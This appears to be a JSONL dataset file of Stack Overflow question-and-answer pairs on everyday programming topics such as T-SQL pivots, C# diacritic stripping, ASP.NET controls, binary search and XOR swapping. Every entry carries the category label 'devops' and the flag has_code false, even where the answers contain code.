{"id": "hf_35a8ffdaf80f", "question": "<p>I have a table like as follows:</p>\n\n<pre>\nSoftwareName    Count    Country\nProject         15       Canada\nVisio           12       Canada\nProject         10       USA\nVisio           5        USA\n</pre>\n\n<p>How do I query it to give me a summary like...</p>\n\n<pre>\nSoftwareName    Canada    USA    Total\nProject         15        10     25\nVisio           12        5      17\n</pre>\n\n<p>How to do in T-SQL?</p>\n", "question_body": "", "answer": "```\n```\nSELECT SoftwareName, \n  SUM( CASE Country WHEN 'Canada' THEN [Count] ELSE 0 END ) AS Canada,\n  SUM( CASE Country WHEN 'USA'    THEN [Count] ELSE 0 END ) AS USA,\n  SUM( [Count] ) AS Total\nFROM [Table] \nGROUP BY SoftwareName;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.154502"}
{"id": "hf_f3a129c7358a", "question": "<p>I have heard that LINQ2SQL has been written to support multiple database vendor providers however for internal political reasons at MS, only SQL Server has been supported.</p>\n\n<p>Is this a fair summary of the situation, and if so has a timetable been released as to when other databases will be supported?</p>\n\n<p>I am aware of Matt Warren's <a href=\"http://blogs.msdn.com/mattwar/archive/2007/07/30/linq-building-an-iqueryable-provider-part-i.aspx\" rel=\"nofollow noreferrer\">BUILDING AN IQUERYABLE PROVIDER</a> series on the wayward weblog, but I would prefer not to build something now that will be released (probably better than I will do it) later</p>\n", "question_body": "", "answer": "Check the\nADO.NET Entity Framework\n(and\nLinq to Entities\n), you can look here also a\nSample Entity Framework Provider for Oracle\n, and\nhere\nare more examples about creating Data Providers for EF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.188405"}
{"id": "hf_9b4dac62bb22", "question": "<p>I know that it is possible (in theory) to create a new type at run-time, but is it possible to modify a method body of an existing type at run-time? My plan (if I can get this to work) is to tag up methods with a custom attribute, and then at run-time search for methods with the attribute, and insert some of my own code into the method body.</p>\n\n<p>Any suggestions?</p>\n\n<p>I suppose if I can't get that approach to work, I could always go with a virtual method in a base class (with the attributes), combined with a static factory to spit out a derived dynamic type with my run-time generated method in the child class. This would not be quite as clean to use though.</p>\n", "question_body": "", "answer": "Are you planning to do this for arbitrary types?  I would suppose not given that you are going to decorate the methods with an attribute.\nGiven that, I would think the better approach would be to define abstract methods in a super class for your types.  A method on the super class can house the boiler-plate method code, and delegate to the concrete implementations via the abstract methods for the individual type's behavior of that method.\nGenerally speaking though, unless you get into create code files and compiling dynamic assemblies at runtime, what you are looking to do can't be done.  There are likely far more practical OO principles and patterns you can use to achieve close to the same result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.246739"}
{"id": "hf_946893e50b6f", "question": "<p>I would like to implement a command line interface for a Java application. This wouldn't be too difficult to do, except I would like the command line program to affect the state of another Java GUI program. So for example, I could type:</p>\n\n<pre><code>java CliMain arg1 arg2\n</code></pre>\n\n<p>And another running GUI instance would perform an appropriate action.</p>\n\n<p>What is the easiest way of implementing something like this?</p>\n", "question_body": "", "answer": "You could have the GUI application listen on a TCP port (on the\n```\nlocalhost\n```\ninterface) and the CLI application would connect to it.\nOne way to do this would be to use REST over HTTP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.280718"}
{"id": "hf_5f479dcfc4e2", "question": "<p>Does anyone know a good SMTP/IMAP server library for C#?</p>\n\n<p>I only found some long abandoned projects.</p>\n\n<hr>\n\n<p>Only <strong>SERVER SIDE</strong> libraries, please no more posts about client libs.</p>\n\n<p>Thanks,\nFionn</p>\n", "question_body": "", "answer": "For SMTP, there's\n```\nSystem.Net.Mail\n```\n. For IMAP, I don't know.  But once you fetch the email from the server, you'll want to parse it. The MIME parsing is the hard part.  For that, I use, and recommend,\n```\nSharpMimeTools\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.319267"}
{"id": "hf_11676bb7263c", "question": "<p>What's an easy to use SNMP client library for c++?</p>\n", "question_body": "", "answer": "Probably the best choice is\nnet-snmp\n.  Note that the library has \"C\" linkage but will work just fine with C++.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.355208"}
{"id": "hf_903964cc8017", "question": "<p>I'm trying to convert some strings that are in French Canadian and basically, I'd like to be able to take out the French accent marks in the letters while keeping the letter. (E.g. convert <code>é</code> to <code>e</code>, so <code>crème brûlée</code> would become <code>creme brulee</code>)</p>\n\n<p>What is the best method for achieving this?</p>\n", "question_body": "", "answer": "I've not used this method, but Michael Kaplan describes a method for doing so in his blog post (with a confusing title) that talks about stripping diacritics:\nStripping is an interesting job (aka\nOn the meaning of meaningless, aka All\nMn characters are non-spacing, but\nsome are more non-spacing than\nothers)\n```\n```\nstatic string RemoveDiacritics(string text) \n{\n    var normalizedString = text.Normalize(NormalizationForm.FormD);\n    var stringBuilder = new StringBuilder(capacity: normalizedString.Length);\n\n    for (int i = 0; i < normalizedString.Length; i++)\n    {\n        char c = normalizedString[i];\n        var unicodeCategory = CharUnicodeInfo.GetUnicodeCategory(c);\n        if (unicodeCategory != UnicodeCategory.NonSpacingMark)\n        {\n            stringBuilder.Append(c);\n        }\n    }\n\n    return stringBuilder\n        .ToString()\n        .Normalize(NormalizationForm.FormC);\n}\n```\n```\nNote that this is a followup to his earlier post:\nStripping diacritics....\nThe approach uses\nString.Normalize\nto split the input string into constituent glyphs (basically separating the \"base\" characters from the diacritics) and then scans the result and retains only the base characters. It's just a little complicated, but really you're looking at a complicated problem.\nOf course, if you're limiting yourself to French, you could probably get away with the simple table-based approach in\nHow to remove accents and tilde in a C++ std::string\n, as recommended by @David Dibben.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.424113"}
{"id": "hf_1c9c5ed72b32", "question": "<p>So I just love it when my application is working great in Firefox, but then I open it in IE and... Nope, please try again.</p>\n\n<p>The issue I'm having is that I'm setting a CSS display property to either <code>none</code> or <code>table-cell</code> with JavaScript.</p>\n\n<p>I was initially using <code>display: block</code>, but Firefox was rendering it weird without the <code>table-cell</code> property.</p>\n\n<p>I would love to do this without adding a hack in the JavaScript to test for IE.  Any suggestions?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Well,\nIE7 does not have\n```\ndisplay: table(-cell/-row)\n```\nso you will have to figure something else out or do browser targeting (which I agree, is bad hack). As a quick fix (I don't know what you're trying to achieve, appearance-wise) you could try\n```\ndisplay: inline-block\n```\nand see what it looks like.\nMaybe figure out a way to do\n```\ndisplay: block\n```\nand solve the problem of \"Firefox rendering it weird\" instead? Can you describe what you mean by the weird rendering exactly?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.448754"}
{"id": "hf_d4201274c299", "question": "<p>What's the most elegant way of implementing a DropDownList in <code>ASP.NET</code> that is editable without using 3rd party components.</p>\n\n<p>As a last resort I will probably try using a <code>TextBox</code> with an <code>AutoCompleteExtender</code> with an image to 'drop down' the list; or a <code>TextBox</code> overlapping a HTML Select with some JavaScript to fill values from the Select to the <code>TextBox</code>. But I'm really hoping there is a more terse and maintainable solution.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "One Control on a Page\nYou can follow\nthis simple example for an Editable DropDownlist on Code Project\nthat uses standard ASP.NET TextBox and DropDownList controls combined with some JavaScript.\nHowever, the code did not work for me until I added a reference to get the ClientID values for the TextBox and DropDownList:\n```\n```\n<script language=\"javascript\" type=\"text/javascript\">\n\nfunction DisplayText()\n{\n    var textboxId = '<% = txtDisplay.ClientID %>';\n    var comboBoxId = '<% = ddSelect.ClientID %>';\n    document.getElementById(textboxId).value = document.getElementById(comboBoxId).value;\n    document.getElementById(textboxId).focus();\n}\n</script>    \n\n<asp:TextBox style=\"width:120px;position:absolute\" ID=\"txtDisplay\" runat=\"server\"></asp:TextBox>\n\n<asp:DropDownList ID=\"ddSelect\" style=\"width:140px\" runat=\"server\">    \n    <asp:ListItem Value=\"test1\" >test1</asp:ListItem>    \n    <asp:ListItem Value=\"test2\">test2</asp:ListItem>    \n</asp:DropDownList>\n```\n```\nFinally, in the code behind just like in the original example, I added the following to page load:\n```\n```\nprotected void Page_Load(object sender, EventArgs e)\n{\n    ddSelect.Attributes.Add(\"onChange\", \"DisplayText();\");\n}\n```\n```\nMultiple Controls on a Page\nI placed all of the above code in its own ASCX User Control to make it reusable across my project. However, the code as presented above only works if you require just one editable DropDownList on a given page.\nIf you need to support multiple custom DropDownList controls on a single page, it is necessary to set the JavaScript function name to be unique to avoid conflicts. Do this by once again using the ClientID:\nin the ASCX file:\n```\n```\nfunction DisplayText_<% = ClientID %>(){...}\n```\n```\nin the code behind:\n```\n```\n/// ...\nddSelect.Attributes.Add(\"onChange\", \"DisplayText_\" + ClientID + \"();\");\n///..\n```\n```\nThis is one way to avoid using 3rd party controls.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.577943"}
{"id": "hf_2db3c9f24c90", "question": "<p>I'm looking for a relativity cheap .NET Micro Framework development board for use on a personal robotics project. I'd don't need much for I/O, but I want at least one serial port and one Ethernet port. </p>\n\n<p>I would prefer not to have to spend more than US$300 on the board, but if there is an obvious reason to get a better one I'm flexible. </p>\n\n<p>Currently I'm looking at <a href=\"http://www.sjjmicro.com/EDK.html\" rel=\"nofollow noreferrer\">this device from SJJ Embedded Micro Solutions</a>. Has anyone had experience with this device?</p>\n", "question_body": "", "answer": "I have not had experience with the SJJ Embedded board, but I might just have to give it a shot.\nI'm working on a robotics project as a hobby, and I'm currently prototyping with\nLego Mindstorms\nand the Robotics SDK from Microsoft. I had planned on swapping to an\nArduino\nwhich uses a C-like programming language and weighs in at around US$30 assembled.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.630036"}
{"id": "hf_d2393836c7f4", "question": "<p>I'm a fan of extension methods in C#, but haven't had any success adding an extension method to a static class, such as <code>Console</code>.</p>\n<p>For example, if I want to add an extension to <code>Console</code>, called '<code>WriteBlueLine</code>', so that I can go:</p>\n<pre><code>Console.WriteBlueLine(&quot;This text is blue&quot;);\n</code></pre>\n<p>I tried this by adding a local, public static method, with <code>Console</code> as a '<code>this</code>' parameter... but no dice!</p>\n<pre><code>public static class Helpers {\n    public static void WriteBlueLine(this Console c, string text)\n    {\n        Console.ForegroundColor = ConsoleColor.Blue;\n        Console.WriteLine(text);\n        Console.ResetColor();\n    }\n}\n</code></pre>\n<p>This didn't add a '<code>WriteBlueLine</code>' method to <code>Console</code>... am I doing it wrong? Or asking for the impossible?</p>\n", "question_body": "", "answer": "You can't add\nstatic\nmethods to a type.  You can only add (pseudo-)instance methods to an instance of a type.\nThe point of the\n```\nthis\n```\nmodifier is to tell the C# compiler to pass the instance on the left-side of the\n```\n.\n```\nas the first parameter of the static/extension method.\nIn the case of adding static methods to a type, there is no instance to pass for the first parameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.653831"}
{"id": "hf_d3d0529cd554", "question": "<p>I was browsing the <a href=\"https://stackoverflow.com/questions/9033/hidden-features-of-c\">Hidden Features of C#</a> question and thought I would try out one of the features I was unfamiliar with.  Unfortunately I use Visual Studio 2005 and the feature in question was introduced later.   Is there a good list for new features in C# 3.0 (Visual Studio 2008) vs. C# 2.0 (Visual Studio 2005)?  </p>\n", "question_body": "", "answer": "Here's a link to the MS page on .NET 3.0:\nhttp://msdn.microsoft.com/en-us/library/bb822048.aspx\n...and on VS 2008 for C#:\nhttp://msdn.microsoft.com/en-us/library/bb383815.aspx\nI haven't tried VS2008 and .NET 3.0 out, but I figure the links might help ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.725642"}
{"id": "hf_d7466723b555", "question": "<pre><code>'''use Jython'''\n\nimport shutil\n\nprint dir(shutil)\n</code></pre>\n\n<p>There is no, shutil.move, how does one move a file with Jython?\nand while we at it, how does one delete a file with Jython?</p>\n", "question_body": "", "answer": "```\nos.rename()\n```\nto move, and\n```\nos.unlink()\n```\nto delete -- just like Python pre-\n```\nshutil\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.767225"}
{"id": "hf_e9890a8bdaee", "question": "<p>I've been using virtualenv lately while developing in python. I like the idea of a segregated development environment using the <strong>--no-site-packages</strong> option, but doing this while developing a PyGTK app can be a bit tricky.\nThe PyGTK modules are installed on Ubuntu by default, and I would like to make a virtualenv (with --no-site-packages) aware of specific modules that are located elsewhere on the system.</p>\n<p>What's the best way to do this? Or should I just suck it up and drop the --no-site-packages option?</p>\n", "question_body": "", "answer": "One way is to add the paths to your code using sys.path.\n```\n```\nimport sys\n\nsys.path.append(somepath)\n```\n```\nAnother way is to use site, which processes .pth files in addition to adding to sys.path.\n```\n```\nimport site\n\nsite.addsitedir(sitedir, known_paths=None)\n```\n```\nhttps://docs.python.org/library/site.html\nBut you probably don't want to add this to all your related code.\nI've seen mention of sitecustomize.py being used to perform something like this, but after some testing I couldn't get it to work as might be expected.\nHere it mentions that auto-import of sitecustomize.py ended in 2.5, if your not on 2.5 try it out.  (just add one of the path add methods above to the file and drop it in the directory your program is run)\nA work around method is mentioned in the post for users of 2.5 and up.\nhttp://code.activestate.com/recipes/552729/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.822035"}
{"id": "hf_f2f3e3a773f7", "question": "<p>Why don't we see C-like languages that allow for callables with polymorphism in the return type? I could see how the additional type inference would be a hurdle, but we have <a href=\"http://en.wikipedia.org/wiki/Type_inference\" rel=\"nofollow noreferrer\">plenty of languages</a> with full-fledged type inference systems (that work for varying levels of \"work\").</p>\n\n<p><strong>Edit:</strong> By return type polymorphism I mean overloading the function signature only in the return type. For example, C++ and Java only allow overloading in the type of the formal parameters, not in the return type.</p>\n", "question_body": "", "answer": "If by \"return type polymorphism\" you mean overloading based on the return value type, I'm not sure about other languages, but for C++ here's the answer (pretty much from the horse's mouth):\nFunction return types don't come into play in overload resolution simply because Stroustrup (I assume with input from other C++ architects) wanted overload resolution to be 'context independent'. See 7.4.1 - \"Overloading and Return Type\" from the \"C++ Programming Language, Third Edition\".\nThe reason is to keep resolution for\n  an individual operator or function\n  call context-independent.\nThey wanted it to be based only on how the overload was called - not how the result was used (if it was used at all).  Indeed, many functions are called without using the result or the result would be used as part of a larger expression.  One factor that I'm sure came into play when they decided this was that if the return type was part of the resolution there would be many calls to overloaded functions that would need to be resolved with complex rules or would have to have the compiler throw an error that the call was ambiguous.\nAnd, Lord knows, C++ overload resolution is complex enough as it stands...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.846366"}
{"id": "hf_d326cacdb033", "question": "<p>What does the following code do? A link to something in the PHP manual would also be nice.</p>\n\n<pre><code>if ($_SERVER['SERVER_PORT'] &lt;&gt; 443) {\n    doSomething();\n}\n</code></pre>\n", "question_body": "", "answer": "Same as !=, \"Not equal\"\n```\n```\nfalse <> true // operator will evaluate expression as true\nfalse != true // operator will evaluate expression as true\n```\n```\nHere is some reference:\nPHP Comparison Operators", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.905233"}
{"id": "hf_4a75446a69af", "question": "<p>I am building a utility page for a web app that I am working on.   I have an element that I want to use as a \"console\" of sorts.</p>\n\n<p>I get entries for the console via Ajax calls (using prototype's <code>Ajax.PeriodicalUpdater</code>).</p>\n\n<p>The problem I'm having is that when I insert new lines to the bottom of the \"console\", the scrollbar stays in the initial position (so I always see the top lines unless I manually scroll down).</p>\n\n<p>How can I make the scrollbar automatically stay at the bottom?</p>\n\n<p>I am using prototype for a few libraries that require it in this project, so I would prefer to stick with that or regular javascript if possible.</p>\n\n<p>Just as a note, I already tried this:</p>\n\n<pre><code>onComplete: function() { \n    $('console').scrollTop = $('console').scrollHeight;\n}\n</code></pre>\n\n<p>It <em>almost</em> works, except that it is always \"one step behind\", and I can't see the most recent item.</p>\n", "question_body": "", "answer": "```\n```\nnew Ajax.PeriodicalUpdater(container, url, {\n    onComplete: function() {\n        (function() {\n            container.scrollTop = container.scrollHeight;\n        }).defer();\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:39.998590"}
{"id": "hf_84fc490cf3d2", "question": "<p>I wrote this scheme code to compute one solution of the quadratic equation a<em>x2 + b</em>x + c = 0</p>\n\n<pre><code>(define (solve-quadratic-equation a b c) (define disc (sqrt (- (* b b) (* 4.0 a c)))) (/ (+ (- b) disc) (* 2.0 a)))\n</code></pre>\n\n<p>However, someone told me that this procedure is hard to understand. Why?</p>\n\n<p>What would a cleaned up version of this procedure look like? \nPlease let me know why the new procedure would be easier to understand.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Well, one reason is that it's all on one line. You can make it more readable using something called\npretty-printing\n, where you break it up into multiple lines and use whitespace:\n```\n```\n(define (solve-quadratic-equation a b c)\n  (define disc (sqrt (- (* b b)\n                        (* 4.0 a c))))\n  (/ (+ (- b) disc)\n     (* 2.0 a)))\n```\n```\nThis way you can more clearly see the structure of the expressions.\nAnd here's a quote from\nSICP\n:\nThere is no limit (in principle) to the depth of such nesting and to the overall complexity of the expressions that the Lisp interpreter can evaluate. It is we humans who get confused by still relatively simple expressions such as\n```\n```\n(+ (* 3 (+ (* 2 4) (+ 3 5))) (+ (- 10 7) 6))\n```\n```\nwhich the interpreter would readily evaluate to be 57. We can help ourselves by writing such an expression in the form\n```\n```\n(+ (* 3\n      (+ (* 2 4)\n         (+ 3 5)))\n   (+ (- 10 7)\n      6))\n```\n```\nfollowing a formatting convention known as\npretty-printing\n, in which each long combination is written so that the operands are aligned vertically. The resulting indentations display clearly the structure of the expression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.021600"}
{"id": "hf_fe76b24bb470", "question": "<p>Programs that index filesystems seem to know which parts have changed since their last index and only rescan that part. How can I determine where the filesystem/files have changed since my last index. Don't care what language you answer in but I'm thinking c and windows.</p>\n\n<p>An example of such a program is Sequoia View which generates a treemap of your hard disk.</p>\n", "question_body": "", "answer": "A fairly simplistic method would be to take the file system's reported files sizes, dates (as integer values), and file names in a given directory and calculate a\nchecksum\nyou could then associate with that directory.  You would still need to perform this calculation on all of the directories using file system data  but you wouldn't have to go in depth (opening files to check for differences) unless a checksum reported a difference.\nFor tracking specific changes at the file level you would store checksums based on individual file attributes, and of the course the presence of or absence of files and subdirectories since the last scan.\nThis wouldn't necessarily guarantee that changes have not occurred as there are file system utilities for altering all manner of attributes though it would be a good first step for a basic scan.\nYou may find the\nsource code\nfor\nfswatch\nhelpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.069752"}
{"id": "hf_3d8bdac0261a", "question": "<p>Is anyone familiar with this?</p>\n\n<blockquote>\n  <p>Write a procedure that takes as inputs\n  a procedure that computes f and a\n  positive integer n and returns the\n  procedure that computes the nth\n  repeated application of f. The\n  procedure should be able to be used as\n  follows:</p>\n\n<pre><code>((repeated square 2) 5)\n625\n</code></pre>\n</blockquote>\n\n<p>I know that the following code I've created for the composition of functions will help make the solution simpler, but I'm not sure where to go from here:</p>\n\n<pre><code>(define (compose f g) (lambda (x) (f (g x))))\n</code></pre>\n", "question_body": "", "answer": "Well, you probably want something like this, right?\n```\n```\n((repeated square 3) 5)\n-> (square ((repeated square 2) 5))\n-> (square (square ((repeated square 1) 5)))\n-> (square (square (square ((repeated square 0) 5))))\n-> (square (square (square (identity 5))))\n```\n```\n(I don't know whether\n```\nidentity\n```\nis predefined in Scheme.  If not, it's easy to write.)\nNow, this is not directly reproducible because you can't magically enclose code outside of the call to\n```\nrepeated\n```\nwith arbitrary stuff.  However, what do these reduction steps look like when rewritten using\n```\ncompose\n```\n?  Can you make out a pattern in the resulting list of steps and reproduce it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.105916"}
{"id": "hf_728cbd18c423", "question": "<p>How do you programmatically set a DataContext that specifies the selected item of a list? </p>\n\n<p>More simply, how do you reproduce this type of binding in code?</p>\n\n<pre><code>&lt;StackPanel&gt;\n    &lt;ListBox Name=\"listBox1\" /&gt;\n    &lt;TextBox Name=\"textBox1\" DataContext=\"{Binding ElementName=listBox1, Path=SelectedItem}\" /&gt;\n&lt;/StackPanel&gt;\n</code></pre>\n", "question_body": "", "answer": "You need to set a Name for the textbox so you can refer to it in code.  Then you should just be able to assign an object to the DataContext property.  You can create a data binding programatically like so:\n```\n```\nBinding binding = new Binding();\nbinding.ElementName = \"listBox1\";\nbinding.Path = new PropertyPath(\"SelectedItem\");\nbinding.Mode = BindingMode.OneWay;\ntxtMyTextBox.SetBinding(TextBox.TextProperty, binding);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.130147"}
{"id": "hf_8d157cbed776", "question": "<p>I'm having trouble getting pictures supported with PIL - it throws me this:</p>\n\n<pre><code>IOError: decoder jpeg not available\n</code></pre>\n\n<p>I installed PIL from binary, not realizing I needed libjpeg.</p>\n\n<p>I installed libjpeg and freetype2 through fink. </p>\n\n<p>I tried to reinstall PIL using instructions from <a href=\"http://timhatch.com/\" rel=\"nofollow noreferrer\">http://timhatch.com/</a> (bottom of the page)</p>\n\n<ul>\n<li>Download PIL 1.1.6 source package and have the Developer Tools already installed</li>\n<li><p>Patch setup.py with this patch so it can find the Freetype you already have.</p>\n\n<p><code>patch -p0 &lt; leopard_freetype2.diff</code></p></li>\n<li>sudo apt-get install libjpeg if you have fink (otherwise, build by hand and adjust paths)</li>\n</ul>\n\n<p>But I'm still getting the same error. </p>\n\n<p>I'm on Leopard PPC. </p>\n", "question_body": "", "answer": "Is the python path still looking at the old binary version of libjpeg?\nYou will need to modify it to point to the new place if it is.\nWhen you compiled the new version of the PIL did it say that it found libjpeg? It will compile happily without it (iirc) and the first sign of trouble you will see is at include time.\nYou will need to adjust the path at ./configure time.\nThe diff might just not work for you. You should test some more and then perhaps file a bug.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.153449"}
{"id": "hf_37c0c3491e76", "question": "<p>How would I implement a binary search using just an array? </p>\n", "question_body": "", "answer": "Ensure that your array is sorted since this is the crux of a binary search.\nAny indexed/random-access data structure can be binary searched.  So when you say using \"just an array\", I would say arrays are the most basic/common data structure that a binary search is employed on.\nYou can do it recursively (easiest) or iteratively.  Time complexity of a binary search is O(log N) which is considerably faster than a linear search of checking each element at O(N). Here are some examples from\nWikipedia: Binary Search Algorithm\n:\nRecursive:\n```\n```\nBinarySearch(A[0..N-1], value, low, high) {  \n    if (high < low)  \n        return -1 // not found  \n    mid = low + ((high - low) / 2) \n    if (A[mid] > value)  \n        return BinarySearch(A, value, low, mid-1)  \n    else if (A[mid] < value)  \n        return BinarySearch(A, value, mid+1, high)  \n    else\n       return mid // found\n    }\n```\n```\nIterative:\n```\n```\nBinarySearch(A[0..N-1], value) {\n   low = 0\n   high = N - 1\n   while (low <= high) {\n       mid = low + ((high - low) / 2)\n       if (A[mid] > value)\n           high = mid - 1\n       else if (A[mid] < value)\n           low = mid + 1\n       else\n           return mid // found\n   }\n   return -1 // not found\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.176573"}
{"id": "hf_5198cdc4f20d", "question": "<p>What are the usual methods to compare two polygons for similarity? Vertices are in 2D.</p>\n", "question_body": "", "answer": "You will find\nsome methods exposed here\n.\nTurning function\nGraph matching\nShape signature by deformation\nIt is used in domains such as\nimage retrieval\n(p. 52), where turning function is illustrated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.200036"}
{"id": "hf_12c2617423f7", "question": "<p>Can someone explain to me how XOR swapping of two variables with no temp variable works?</p>\n\n<pre><code>void xorSwap (int *x, int *y)\n{\n    if (x != y) {\n        *x ^= *y;\n        *y ^= *x;\n        *x ^= *y;\n    }\n}\n</code></pre>\n\n<p>I understand WHAT it does, but can someone walk me through the logic of how it works?  </p>\n", "question_body": "", "answer": "Most people would swap two variables x and y using a temporary variable, like this:\n```\n```\ntmp = x\nx = y\ny = tmp\n```\n```\nHere’s a neat programming trick to swap two values without needing a temp:\n```\n```\nx = x xor y\ny = x xor y\nx = x xor y\n```\n```\nMore details in\nSwap two variables using XOR\nOn line 1 we combine x and y (using XOR) to get this “hybrid” and we store it back in x. XOR is a great way to save information, because you can remove it by doing an XOR again.\nOn line 2. We XOR the hybrid with y, which cancels out all the y information, leaving us only with x. We save this result back into y, so now they have swapped.\nOn the last line, x still has the hybrid value. We XOR it yet again with y (now with x’s original value) to remove all traces of x out of the hybrid. This leaves us with y, and the swap is complete!\nThe computer actually has an implicit “temp” variable that stores intermediate results before writing them back to a register. For example, if you add 3 to a register (in machine-language pseudocode):\n```\n```\nADD 3 A // add 3 to register A\n```\n```\nThe ALU (Arithmetic Logic Unit) is actually what executes the instruction 3+A. It takes the inputs (3,A) and creates a result (3 + A), which the CPU then stores back into A’s original register. So, we used the ALU as temporary scratch space before we had the final answer.\nWe take the ALU’s implicit temporary data for granted, but it’s always there. In a similar way, the ALU can return the intermediate result of the XOR in the case of x = x xor y, at which point the CPU stores it into x’s original register.\nBecause we aren’t used to thinking about the poor, neglected ALU, the XOR swap seems magical because it doesn’t have an explicit temporary variable. Some machines have a 1-step exchange XCHG instruction to swap two registers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:40.235855"}
